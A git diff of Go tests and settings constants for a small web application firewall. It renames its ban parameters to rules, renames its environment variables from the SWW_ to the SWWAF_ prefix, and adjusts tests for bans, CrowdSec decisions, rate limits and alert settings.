@@ -121,7 +121,7 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
first, made := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
@@ -146,7 +146,7 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
@@ -178,7 +178,7 @@ func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
func TestFindCountsNothing(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
@@ -200,9 +200,9 @@ func TestFindCountsNothing(t *testing.T) {
func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
t.Parallel()
params := defaultParams()
params.MaxBans = 3
ledger := bans.New(params)
rules := defaultRules()
rules.MaxBans = 3
ledger := bans.New(rules)
a := netip.MustParsePrefix("203.0.113.1/32")
b := netip.MustParsePrefix("203.0.113.2/32")
c := netip.MustParsePrefix("203.0.113.3/32")
@@ -239,9 +239,9 @@ func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) {
// With room for one ban, the netblock's ended ban goes to make room for
// its new one, whose notes still count it.
params := defaultParams()
params.MaxBans = 1
ledger := bans.New(params)
rules := defaultRules()
rules.MaxBans = 1
ledger := bans.New(rules)
netblock := netip.MustParsePrefix("203.0.113.9/32")
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
@@ -258,7 +258,7 @@ func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) {
func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
notes := bans.Notes{RuleID: "env-file", Target: "path"}
@@ -304,7 +304,7 @@ func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
// A ban for a broken limit before does not count.
@@ -336,7 +336,7 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
wantChanged(t, ledger, true)
@@ -380,7 +380,7 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
func TestWouldBePermanentAnswersAsTheBanWouldBeMade(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
now := midnight()
@@ -414,7 +414,7 @@ func TestWouldBePermanentAnswersAsTheBanWouldBeMade(t *testing.T) {
func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
// Three times the seven days would be permanent; a limit broken as the
@@ -436,7 +436,7 @@ func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
long := strings.Repeat("a", 300)
request := bans.Request{
@@ -458,7 +458,7 @@ func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
other := netip.MustParsePrefix("198.51.100.7/32")
@@ -494,9 +494,9 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
}
}
// defaultParams are the params at the settings' defaults.
func defaultParams() bans.Params {
return bans.Params{
// defaultRules are the rules at the settings' defaults.
func defaultRules() bans.Rules {
return bans.Rules{
LimitBanDuration: time.Hour,
LimitBanRepeatWindow: day,
MaxBanDuration: 7 * day,
+3 -3
View File
@@ -15,7 +15,7 @@ const scenario = "crowdsecurity/ssh-bf"
func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
expires := midnight().Add(4 * time.Hour)
@@ -49,7 +49,7 @@ func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
expires := midnight().Add(4 * time.Hour)
ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
@@ -72,7 +72,7 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
// Three times the three days would be permanent; a limit broken as the
+15 -15
View File
@@ -14,7 +14,7 @@ import (
func TestChangedAfterABanIsMade(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
wantChanged(t, ledger, false)
@@ -38,7 +38,7 @@ func TestChangedAfterABanIsMade(t *testing.T) {
func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
v6 := netip.MustParsePrefix("2001:db8::/64")
high := netip.MustParsePrefix("203.0.113.10/32")
low := netip.MustParsePrefix("203.0.113.9/32")
@@ -67,14 +67,14 @@ func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
func TestLoadedBansCarryOn(t *testing.T) {
t.Parallel()
before := bans.New(defaultParams())
before := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
ban, _ := before.BanForLimit(netblock, midnight(), bans.Notes{Limit: 1})
// Loaded into a new ledger, as across a restart, the ban still refuses
// while it lasts, and once it has ended a broken limit bans for three
// times as long, with the loaded ban counted among the earlier ones.
after := bans.New(defaultParams())
after := bans.New(defaultRules())
after.Load(before.Snapshot())
_, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second))
@@ -96,7 +96,7 @@ func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) {
// Two entries as an admin might write them, with addresses not masked
// to their lengths, the IPv6 one shorter than the /64 an IPv6 client's
// ban covers, beside a ban the ledger makes on one IPv4 address.
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
ledger.Load([]bans.Ban{
{Netblock: netip.MustParsePrefix("203.0.113.9/24"), Start: midnight()},
{Netblock: netip.MustParsePrefix("2001:db8::1/48"), Start: midnight()},
@@ -145,7 +145,7 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
Expires: midnight().Add(time.Hour),
}
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
ledger.Load([]bans.Ban{permanent, ended})
now := midnight().Add(2 * time.Hour)
@@ -173,7 +173,7 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
t.Parallel()
// A 9-hour ban sww made, the third in a row, and an admin's
// A 9-hour ban smallwebwaf made, the third in a row, and an admin's
// 1-hour ban added to bans.json over it, with no cause and no notes.
netblock := netip.MustParsePrefix("203.0.113.9/32")
nineHours := bans.Ban{
@@ -189,7 +189,7 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
Expires: midnight().Add(2 * time.Hour),
}
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
ledger.Load([]bans.Ban{nineHours, admins})
// Once both have ended, a limit broken within the repeat window bans
@@ -219,9 +219,9 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
Cause: bans.CauseLimit,
}
params := defaultParams()
params.MaxBans = 1
ledger := bans.New(params)
rules := defaultRules()
rules.MaxBans = 1
ledger := bans.New(rules)
ledger.Load([]bans.Ban{later, earlier})
held := ledger.Snapshot()
@@ -235,9 +235,9 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
// Room for three bans, so that the second load, were it added to the
// two bans held, would drop none of them to make room.
params := defaultParams()
params.MaxBans = 3
ledger := bans.New(params)
rules := defaultRules()
rules.MaxBans = 3
ledger := bans.New(rules)
kept := bans.Ban{
Netblock: netip.MustParsePrefix("2001:db8::/64"),
Start: midnight(),
@@ -285,7 +285,7 @@ func TestLoadCutsTheTextsTo256Bytes(t *testing.T) {
}},
}
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
ledger.Load([]bans.Ban{ban})
cut := long[:256]
+1930 -17
View File
File diff suppressed because it is too large. Load diff
@@ -23,101 +23,98 @@ import (
// The settings, by name.
const (
listenAddr = "SWW_LISTEN_ADDR"
mode = "SWW_MODE"
ipv6GroupPrefix = "SWW_IPV6_GROUP_PREFIX"
maxTrackedClients = "SWW_MAX_TRACKED_CLIENTS"
allowNets = "SWW_ALLOW_NETS"
rateLimitExemptNets = "SWW_RATE_LIMIT_EXEMPT_NETS"
denyNets = "SWW_DENY_NETS"
rateLimitPerMinute = "SWW_RATE_LIMIT_PER_MINUTE"
rateLimitPerHour = "SWW_RATE_LIMIT_PER_HOUR"
rateLimitPerDay = "SWW_RATE_LIMIT_PER_DAY"
rateLimitExemptPaths = "SWW_RATE_LIMIT_EXEMPT_PATHS"
bytesLimitPerMinute = "SWW_BYTES_LIMIT_PER_MINUTE"
bytesLimitPerHour = "SWW_BYTES_LIMIT_PER_HOUR"
bytesLimitPerDay = "SWW_BYTES_LIMIT_PER_DAY"
bytesCount = "SWW_BYTES_COUNT"
lookupSource = "SWW_LOOKUP_SOURCE"
lookupDBPath = "SWW_LOOKUP_DB_PATH"
lookupTimeout = "SWW_LOOKUP_TIMEOUT"
addLookupHeaders = "SWW_ADD_LOOKUP_HEADERS"
allowedCountries = "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"
tagLists = "SWW_TAG_LISTS"
tagDeny = "SWW_TAG_DENY"
tagLimitPercent = "SWW_TAG_LIMIT_PERCENT"
asnBytesPercent = "SWW_ASN_BYTES_PERCENT"
countryBytesPercent = "SWW_COUNTRY_BYTES_PERCENT"
unknownLimitPercent = "SWW_UNKNOWN_LIMIT_PERCENT"
asnLimitPercentURL = "SWW_ASN_LIMIT_PERCENT_URL"
blocklistURLs = "SWW_BLOCKLIST_URLS"
blocklistRefresh = "SWW_BLOCKLIST_REFRESH"
blocklistAction = "SWW_BLOCKLIST_ACTION"
dnsblZones = "SWW_DNSBL_ZONES"
dnsblResolver = "SWW_DNSBL_RESOLVER"
abuseIPDBKey = "SWW_ABUSEIPDB_KEY"
abuseIPDBMinScore = "SWW_ABUSEIPDB_MIN_SCORE"
abuseIPDBDailyBudget = "SWW_ABUSEIPDB_DAILY_BUDGET"
reputationAction = "SWW_REPUTATION_ACTION"
reputationCacheTTL = "SWW_REPUTATION_CACHE_TTL"
reputationTimeout = "SWW_REPUTATION_TIMEOUT"
routeWatchURL = "SWW_ROUTEWATCH_URL"
crowdSecURL = "SWW_CROWDSEC_LAPI_URL"
crowdSecKey = "SWW_CROWDSEC_LAPI_KEY"
banResponse = "SWW_BAN_RESPONSE"
limitBanDuration = "SWW_LIMIT_BAN_DURATION"
limitBanRepeatWindow = "SWW_LIMIT_BAN_REPEAT_WINDOW"
maxBanDuration = "SWW_MAX_BAN_DURATION"
attackBanDuration = "SWW_ATTACK_BAN_DURATION"
maxBans = "SWW_MAX_BANS"
banScopeV4Prefix = "SWW_BAN_SCOPE_V4_PREFIX"
stateDir = "SWW_STATE_DIR"
stateWriteDelay = "SWW_STATE_WRITE_DELAY"
stateCounterInterval = "SWW_STATE_COUNTER_INTERVAL"
cacheDir = "SWW_CACHE_DIR"
adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name
metricsToken = "SWW_METRICS_TOKEN" //nolint:gosec // the setting's name
metricsTopN = "SWW_METRICS_TOP_N"
instanceName = "SWW_INSTANCE_NAME"
logRequestHeaders = "SWW_LOG_REQUEST_HEADERS"
logLevel = "SWW_LOG_LEVEL"
rulesDir = "SWW_RULES_DIR"
rulesEnabled = "SWW_RULES_ENABLED"
wafMode = "SWW_WAF_MODE"
wafParanoiaLevel = "SWW_WAF_PARANOIA_LEVEL"
wafAnomalyThreshold = "SWW_WAF_ANOMALY_THRESHOLD"
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
trapPaths = "SWW_TRAP_PATHS"
errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
logRemoteURL = "SWW_LOG_REMOTE_URL"
logRemoteTLSCAFile = "SWW_LOG_REMOTE_TLS_CA_FILE"
logRemoteBuffer = "SWW_LOG_REMOTE_BUFFER"
logRemoteFacility = "SWW_LOG_REMOTE_FACILITY"
logRemoteAppName = "SWW_LOG_REMOTE_APP_NAME"
alertWebhookURL = "SWW_ALERT_WEBHOOK_URL"
alertWebhookHeaders = "SWW_ALERT_WEBHOOK_HEADERS"
alertSlackWebhookURL = "SWW_ALERT_SLACK_WEBHOOK_URL"
alertNtfyURL = "SWW_ALERT_NTFY_URL"
alertNtfyToken = "SWW_ALERT_NTFY_TOKEN" //nolint:gosec // the setting's name
alertEvents = "SWW_ALERT_EVENTS"
alertCooldown = "SWW_ALERT_COOLDOWN"
alertMaxPerHour = "SWW_ALERT_MAX_PER_HOUR"
anomalyNetV4Prefix = "SWW_ANOMALY_NET_V4_PREFIX"
anomalyNetV6Prefix = "SWW_ANOMALY_NET_V6_PREFIX"
watchNets = "SWW_WATCH_NETS"
listenAddr = "SWWAF_LISTEN_ADDR"
mode = "SWWAF_MODE"
ipv6GroupPrefix = "SWWAF_IPV6_GROUP_PREFIX"
maxTrackedClients = "SWWAF_MAX_TRACKED_CLIENTS"
allowNets = "SWWAF_ALLOW_NETS"
rateLimitExemptNets = "SWWAF_RATE_LIMIT_EXEMPT_NETS"
denyNets = "SWWAF_DENY_NETS"
rateLimitPerMinute = "SWWAF_RATE_LIMIT_PER_MINUTE"
rateLimitPerHour = "SWWAF_RATE_LIMIT_PER_HOUR"
rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY"
rateLimitExemptPaths = "SWWAF_RATE_LIMIT_EXEMPT_PATHS"
bytesLimitPerMinute = "SWWAF_BYTES_LIMIT_PER_MINUTE"
bytesLimitPerHour = "SWWAF_BYTES_LIMIT_PER_HOUR"
bytesLimitPerDay = "SWWAF_BYTES_LIMIT_PER_DAY"
bytesCount = "SWWAF_BYTES_COUNT"
lookupSource = "SWWAF_LOOKUP_SOURCE"
lookupDBPath = "SWWAF_LOOKUP_DB_PATH"
lookupTimeout = "SWWAF_LOOKUP_TIMEOUT"
addLookupHeaders = "SWWAF_ADD_LOOKUP_HEADERS"
deniedCountries = "SWWAF_DENIED_COUNTRIES"
allowedCountries = "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES"
asnLimitPercent = "SWWAF_ASN_LIMIT_PERCENT"
countryLimitPercent = "SWWAF_COUNTRY_LIMIT_PERCENT"
asnBytesPercent = "SWWAF_ASN_BYTES_PERCENT"
countryBytesPercent = "SWWAF_COUNTRY_BYTES_PERCENT"
unknownLimitPercent = "SWWAF_UNKNOWN_LIMIT_PERCENT"
asnLimitPercentURL = "SWWAF_ASN_LIMIT_PERCENT_URL"
blocklistURLs = "SWWAF_BLOCKLIST_URLS"
blocklistRefresh = "SWWAF_BLOCKLIST_REFRESH"
blocklistAction = "SWWAF_BLOCKLIST_ACTION"
dnsblZones = "SWWAF_DNSBL_ZONES"
dnsblResolver = "SWWAF_DNSBL_RESOLVER"
abuseIPDBKey = "SWWAF_ABUSEIPDB_KEY"
abuseIPDBMinScore = "SWWAF_ABUSEIPDB_MIN_SCORE"
abuseIPDBDailyBudget = "SWWAF_ABUSEIPDB_DAILY_BUDGET"
reputationAction = "SWWAF_REPUTATION_ACTION"
reputationCacheTTL = "SWWAF_REPUTATION_CACHE_TTL"
reputationTimeout = "SWWAF_REPUTATION_TIMEOUT"
crowdSecURL = "SWWAF_CROWDSEC_LAPI_URL"
crowdSecKey = "SWWAF_CROWDSEC_LAPI_KEY"
banResponse = "SWWAF_BAN_RESPONSE"
limitBanDuration = "SWWAF_LIMIT_BAN_DURATION"
limitBanRepeatWindow = "SWWAF_LIMIT_BAN_REPEAT_WINDOW"
maxBanDuration = "SWWAF_MAX_BAN_DURATION"
attackBanDuration = "SWWAF_ATTACK_BAN_DURATION"
maxBans = "SWWAF_MAX_BANS"
banScopeV4Prefix = "SWWAF_BAN_SCOPE_V4_PREFIX"
stateDir = "SWWAF_STATE_DIR"
stateWriteDelay = "SWWAF_STATE_WRITE_DELAY"
stateCounterInterval = "SWWAF_STATE_COUNTER_INTERVAL"
adminToken = "SWWAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
metricsToken = "SWWAF_METRICS_TOKEN" //nolint:gosec // the setting's name
metricsTopN = "SWWAF_METRICS_TOP_N"
instanceName = "SWWAF_INSTANCE_NAME"
logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS"
logLevel = "SWWAF_LOG_LEVEL"
rulesDir = "SWWAF_RULES_DIR"
rulesEnabled = "SWWAF_RULES_ENABLED"
wafMode = "SWWAF_WAF_MODE"
wafParanoiaLevel = "SWWAF_WAF_PARANOIA_LEVEL"
wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD"
wafDisabledRules = "SWWAF_WAF_DISABLED_RULES"
wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWWAF_WAF_BODY_LIMIT"
trapPaths = "SWWAF_TRAP_PATHS"
errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD"
logRemoteURL = "SWWAF_LOG_REMOTE_URL"
logRemoteTLSCAFile = "SWWAF_LOG_REMOTE_TLS_CA_FILE"
logRemoteBuffer = "SWWAF_LOG_REMOTE_BUFFER"
logRemoteFacility = "SWWAF_LOG_REMOTE_FACILITY"
logRemoteAppName = "SWWAF_LOG_REMOTE_APP_NAME"
alertWebhookURL = "SWWAF_ALERT_WEBHOOK_URL"
alertWebhookHeaders = "SWWAF_ALERT_WEBHOOK_HEADERS"
alertSlackWebhookURL = "SWWAF_ALERT_SLACK_WEBHOOK_URL"
alertNtfyURL = "SWWAF_ALERT_NTFY_URL"
alertNtfyToken = "SWWAF_ALERT_NTFY_TOKEN" //nolint:gosec // the setting's name
alertEvents = "SWWAF_ALERT_EVENTS"
alertCooldown = "SWWAF_ALERT_COOLDOWN"
alertMaxPerHour = "SWWAF_ALERT_MAX_PER_HOUR"
anomalyNetV4Prefix = "SWWAF_ANOMALY_NET_V4_PREFIX"
anomalyNetV6Prefix = "SWWAF_ANOMALY_NET_V6_PREFIX"
watchNets = "SWWAF_WATCH_NETS"
)
// The anomaly thresholds: each of the prefixes below, which name a scope,
// followed by each of the four ends.
const (
anomalyClient = "SWW_ANOMALY_CLIENT_"
anomalyNet = "SWW_ANOMALY_NET_"
anomalyASN = "SWW_ANOMALY_ASN_"
anomalyTotal = "SWW_ANOMALY_TOTAL_"
watch = "SWW_WATCH_"
anomalyClient = "SWWAF_ANOMALY_CLIENT_"
anomalyNet = "SWWAF_ANOMALY_NET_"
anomalyASN = "SWWAF_ANOMALY_ASN_"
anomalyTotal = "SWWAF_ANOMALY_TOTAL_"
watch = "SWWAF_WATCH_"
requestsPerMinute = "REQUESTS_PER_MINUTE"
requestsPerHour = "REQUESTS_PER_HOUR"
@@ -158,21 +155,21 @@ func loggedAnomalyDefaults() map[string]string {
return logged
}
// defaultAlertEvents is the default of SWW_ALERT_EVENTS, and
// defaultAlertCooldown that of SWW_ALERT_COOLDOWN.
// defaultAlertEvents is the default of SWWAF_ALERT_EVENTS, and
// defaultAlertCooldown that of SWWAF_ALERT_COOLDOWN.
const (
defaultAlertEvents = "ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit," +
defaultAlertEvents = "ban,permanent_ban,waf_block,anomaly,reputation_hit," +
"source_failure,file_error"
defaultAlertCooldown = "15m"
)
// defaultReputationCacheTTL is the default of SWW_REPUTATION_CACHE_TTL.
// defaultReputationCacheTTL is the default of SWWAF_REPUTATION_CACHE_TTL.
const defaultReputationCacheTTL = "24h"
// defaultWAFDisabledRules is the default of SWW_WAF_DISABLED_RULES.
// defaultWAFDisabledRules is the default of SWWAF_WAF_DISABLED_RULES.
const defaultWAFDisabledRules = "920340,920420,920440,920640,930130,930140"
// defaultLogRequestHeaders is the default of SWW_LOG_REQUEST_HEADERS.
// defaultLogRequestHeaders is the default of SWWAF_LOG_REQUEST_HEADERS.
const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," +
"content-type,origin,range"
@@ -197,10 +194,10 @@ const (
otherToken = "fedcba9876543210fedcba9876543210"
)
// instance is an SWW_INSTANCE_NAME that is a valid app name too, and
// remoteURL an SWW_LOG_REMOTE_URL, for the tests that send the lines.
// instance is an SWWAF_INSTANCE_NAME that is a valid app name too, and
// remoteURL an SWWAF_LOG_REMOTE_URL, for the tests that send the lines.
const (
instance = "fsn1app1/blog"
instance = "fsn1app1/gitea"
remoteURL = "syslog+udp://192.0.2.1:514"
)
@@ -210,10 +207,7 @@ const off = "off"
// enabled is true, as a setting's value.
const enabled = "true"
// disabled is false, as a setting's value.
const disabled = "false"
// defaultLookupSource is the default of SWW_LOOKUP_SOURCE, and
// defaultLookupSource is the default of SWWAF_LOOKUP_SOURCE, and
// fileSource the source that is the lookup database.
const (
defaultLookupSource = "geojs"
@@ -260,13 +254,12 @@ func TestDefaults(t *testing.T) {
AttackBanDuration: 7 * 24 * time.Hour,
MaxBans: 5000,
BanScopeV4Prefix: 32,
StateDir: "/var/lib/sww",
StateDir: "/var/lib/smallwebwaf",
StateWriteDelay: 10 * time.Second,
StateCounterInterval: 15 * time.Minute,
CacheDir: "/var/cache/sww",
MetricsToken: "",
MetricsTopN: 50,
RulesDir: "/etc/sww/rules.d",
RulesDir: "/etc/smallwebwaf/rules.d",
RulesEnabled: true,
})
wantLookupSettings(t, cfg, config.Config{
@@ -280,13 +273,9 @@ func TestDefaults(t *testing.T) {
wantNetblocks(t, cfg.AllowNets)
wantNetblocks(t, cfg.RateLimitExemptNets)
wantNetblocks(t, cfg.DenyNets)
wantCountries(t, deniedCountries, cfg.DeniedCountries)
wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries)
if len(cfg.TagLists) != 0 || len(cfg.TagDeny) != 0 || len(cfg.TagLimitPercent) != 0 {
t.Errorf("tag settings %v, %v and %v by default, want all empty",
cfg.TagLists, cfg.TagDeny, cfg.TagLimitPercent)
}
hostname, err := os.Hostname()
if err != nil || hostname == "" || cfg.InstanceName != hostname {
t.Errorf("%s is %q, want the host's name %q (%v)", instanceName,
@@ -337,6 +326,7 @@ func TestValuesAsSet(t *testing.T) {
rateLimitPerMinute: "60",
rateLimitPerHour: "600",
rateLimitPerDay: "6000",
deniedCountries: "cn, RU,kp,Xk",
allowedCountries: "de",
banResponse: "429",
limitBanDuration: "15m",
@@ -348,11 +338,10 @@ func TestValuesAsSet(t *testing.T) {
stateDir: "/srv/waf-state",
stateWriteDelay: "500ms",
stateCounterInterval: "1h",
cacheDir: "/srv/waf-cache",
metricsToken: token,
metricsTopN: "10",
rulesDir: "/srv/waf-rules",
rulesEnabled: disabled,
rulesEnabled: "false",
})
wantSettings(t, cfg, config.Config{
@@ -371,7 +360,6 @@ func TestValuesAsSet(t *testing.T) {
StateDir: "/srv/waf-state",
StateWriteDelay: 500 * time.Millisecond,
StateCounterInterval: time.Hour,
CacheDir: "/srv/waf-cache",
MetricsToken: token,
MetricsTopN: 10,
RulesDir: "/srv/waf-rules",
@@ -381,6 +369,7 @@ func TestValuesAsSet(t *testing.T) {
wantNetblocks(t, cfg.AllowNets, "192.0.2.7/32")
wantNetblocks(t, cfg.RateLimitExemptNets, "2001:db8::/48", "10.9.8.7/32")
wantNetblocks(t, cfg.DenyNets, "198.51.100.0/24")
wantCountries(t, deniedCountries, cfg.DeniedCountries, "CN", "RU", "KP", "XK")
wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries, "DE")
}
@@ -550,14 +539,13 @@ func TestCoreRuleSetSettings(t *testing.T) {
environment{
wafMode: config.WAFModeDetect, wafParanoiaLevel: "4", wafAnomalyThreshold: "10",
wafDisabledRules: "942100, 920350", wafExemptPaths: "/api/, /static/",
wafBodyLimit: "32K", exclusionsFile: "/etc/sww/crs-exclusions.conf",
wafBodyLimit: "32K",
},
config.Config{
WAFMode: config.WAFModeDetect, WAFParanoiaLevel: 4, WAFAnomalyThreshold: 10,
WAFDisabledRules: []int{942100, 920350},
WAFExemptPaths: []string{"/api/", "/static/"},
WAFBodyLimit: 32 << 10,
CoreRuleSetExclusionsFile: "/etc/sww/crs-exclusions.conf",
},
},
{
@@ -578,7 +566,6 @@ func TestCoreRuleSetSettings(t *testing.T) {
WAFAnomalyThreshold: cfg.WAFAnomalyThreshold,
WAFDisabledRules: cfg.WAFDisabledRules, WAFExemptPaths: cfg.WAFExemptPaths,
WAFBodyLimit: cfg.WAFBodyLimit,
CoreRuleSetExclusionsFile: cfg.CoreRuleSetExclusionsFile,
}
if !reflect.DeepEqual(got, tc.want) {
t.Errorf("%v gave\n%+v\nwant\n%+v", tc.env, got, tc.want)
@@ -601,7 +588,7 @@ func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
const (
notParanoiaLevel = " is not a paranoia level, from 1 to 4"
setupRule = " is from 900000 to 900999, the ids of the rules that set " +
"the Core Rule Set up and of sww's own, which cannot be switched off"
"the Core Rule Set up and of smallwebwaf's own, which cannot be switched off"
)
for _, tc := range []struct{ name, value, want string }{
@@ -640,11 +627,10 @@ func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
wafBodyLimit, "128KB",
`"128KB" is not a size such as 512K, 100M or 5G, or off`,
},
{wafBodyLimit, "65K", `"65K" is more than 64K, the most waf ` +
`gets of a body`},
{wafBodyLimit, "65K", `"65K" is more than 64K, the most servewaf gets of a body`},
{
wafBodyLimit, "65537",
`"65537" is more than 64K, the most waf gets of a body`,
`"65537" is more than 64K, the most servewaf gets of a body`,
},
} {
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
@@ -664,11 +650,11 @@ func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
t.Parallel()
cfg := fromEnvironment(t, environment{
instanceName: "fsn1app1/blog",
instanceName: "fsn1app1/gitea",
logRequestHeaders: " Accept , X-Custom",
})
if cfg.InstanceName != "fsn1app1/blog" ||
if cfg.InstanceName != "fsn1app1/gitea" ||
!slices.Equal(cfg.LogRequestHeaders, []string{"accept", "x-custom"}) {
t.Errorf("%s is %q and %s gives %v", instanceName, cfg.InstanceName,
logRequestHeaders, cfg.LogRequestHeaders)
@@ -811,7 +797,7 @@ func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending(t *testing.T) {
want := logRemoteAppName + `: is unset, and ` + instanceName +
` "fsn1 app1", its default, is not 1 to 48 printable ASCII characters ` +
`without a space, such as blog`
`without a space, such as gitea`
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
@@ -840,7 +826,7 @@ func TestAppNameSetStopsTheStartWhileSending(t *testing.T) {
}.lookupEnv)
want := logRemoteAppName + `: "my app" is not 1 to 48 printable ASCII ` +
`characters without a space, such as blog`
`characters without a space, such as gitea`
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
@@ -870,7 +856,7 @@ func TestAlertSettingsAsSet(t *testing.T) {
const (
webhook = "https://alerts.example:8443/hooks/waf?team=ops"
slack = "https://hooks.slack.example/services/T0123/B4567/abcdef"
ntfy = "https://ntfy.example/sww-alerts"
ntfy = "https://ntfy.example/smallwebwaf-alerts"
token = "tk_0123456789abcdefghijklmnopq"
)
@@ -918,17 +904,17 @@ func TestInvalidAlertSettingStopsTheStart(t *testing.T) {
t.Parallel()
wantStartStopped(t, []struct{ name, value string }{
{alertWebhookURL, "alerts.example/sww"},
{alertWebhookURL, "alerts.example/smallwebwaf"},
{alertWebhookURL, "ftp://alerts.example/"},
{alertWebhookURL, "https:///sww"},
{alertWebhookURL, "https:///smallwebwaf"},
{alertWebhookURL, "https://user:password@alerts.example/"},
{alertWebhookURL, "https://alerts.example/#top"},
